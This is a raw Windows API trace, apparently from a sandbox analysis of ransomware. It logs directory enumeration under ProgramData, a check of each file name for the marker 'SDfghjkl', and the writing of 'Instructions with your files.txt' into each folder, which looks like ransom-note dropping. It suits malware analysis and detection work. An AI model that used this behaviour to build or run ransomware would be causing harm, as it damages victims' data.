[0131.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.876] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\.") returned 48
[0131.876] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21b1e40, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.876] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\..") returned 49
[0131.876] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21b1e40, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb21b1e40, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21d7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.876] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Instructions with your files.txt") returned 79
[0131.876] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.876] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb35800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xecb35800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8ef97740, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacDatabase.sdf", cAlternateFileName="RACDAT~1.SDF")) returned 1
[0131.876] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 62
[0131.876] StrStrIW (lpFirst="RacDatabase.sdf", lpSrch="SDfghjkl") returned 0x0
[0131.876] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0x8efbd8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1
[0131.876] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned 62
[0131.876] StrStrIW (lpFirst="RacMetaData.dat", lpSrch="SDfghjkl") returned 0x0
[0131.876] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ef715e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8ef715e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x401c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiDataBookmarks.dat", cAlternateFileName="RACWMI~2.DAT")) returned 1
[0131.877] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat") returned 70
[0131.877] StrStrIW (lpFirst="RacWmiDataBookmarks.dat", lpSrch="SDfghjkl") returned 0x0
[0131.877] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ef4b480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8ef4b480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x801c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 1
[0131.877] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat") returned 66
[0131.877] StrStrIW (lpFirst="RacWmiEventData.dat", lpSrch="SDfghjkl") returned 0x0
[0131.877] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8ef4b480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0x8ef4b480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8ef715e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x801c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RacWmiEventData.dat", cAlternateFileName="RACWMI~1.DAT")) returned 0
[0131.877] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Instructions with your files.txt") returned 79
[0131.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.877] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.878] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.878] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.878] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.878] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.878] CloseHandle (hObject=0x114) returned 1
[0131.878] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.879] GetProcessHeap () returned 0x810000
[0131.879] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.879] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21d7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21d7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
[0131.879] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp") returned 41
[0131.879] GetProcessHeap () returned 0x810000
[0131.879] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.879] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*") returned 43
[0131.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21d7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21d7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.879] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\.") returned 43
[0131.879] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21d7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21d7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.879] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\..") returned 44
[0131.879] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21d7fa0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb21d7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21d7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.879] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Instructions with your files.txt") returned 74
[0131.879] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.879] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb21d7fa0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb21d7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21d7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.879] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Instructions with your files.txt") returned 74
[0131.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Temp\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\rac\\temp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.879] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.880] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.880] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.880] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.880] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.880] CloseHandle (hObject=0x114) returned 1
[0131.881] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.881] GetProcessHeap () returned 0x810000
[0131.881] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.881] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb21d7fa0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb21d7fa0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0
[0131.881] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Instructions with your files.txt") returned 69
[0131.881] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\RAC\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\rac\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.881] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.882] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.882] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.882] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.882] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.882] CloseHandle (hObject=0x110) returned 1
[0131.882] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.882] GetProcessHeap () returned 0x810000
[0131.882] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.882] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
[0131.882] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search") returned 39
[0131.882] GetProcessHeap () returned 0x810000
[0131.882] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.882] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\*") returned 41
[0131.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.883] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\.") returned 41
[0131.883] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.883] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\..") returned 42
[0131.883] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
[0131.883] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data") returned 44
[0131.883] GetProcessHeap () returned 0x810000
[0131.883] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.883] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\*") returned 46
[0131.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.883] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\.") returned 46
[0131.883] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2bcfbc0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.883] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\..") returned 47
[0131.883] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2817960, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2817960, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Applications", cAlternateFileName="APPLIC~1")) returned 1
[0131.883] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications") returned 57
[0131.883] GetProcessHeap () returned 0x810000
[0131.883] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.883] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*") returned 59
[0131.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2817960, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2817960, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.883] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\.") returned 59
[0131.883] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb2817960, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2817960, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.883] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\..") returned 60
[0131.883] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb2817960, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb2817960, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb2bcfbc0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.883] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Instructions with your files.txt") returned 90
[0131.884] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
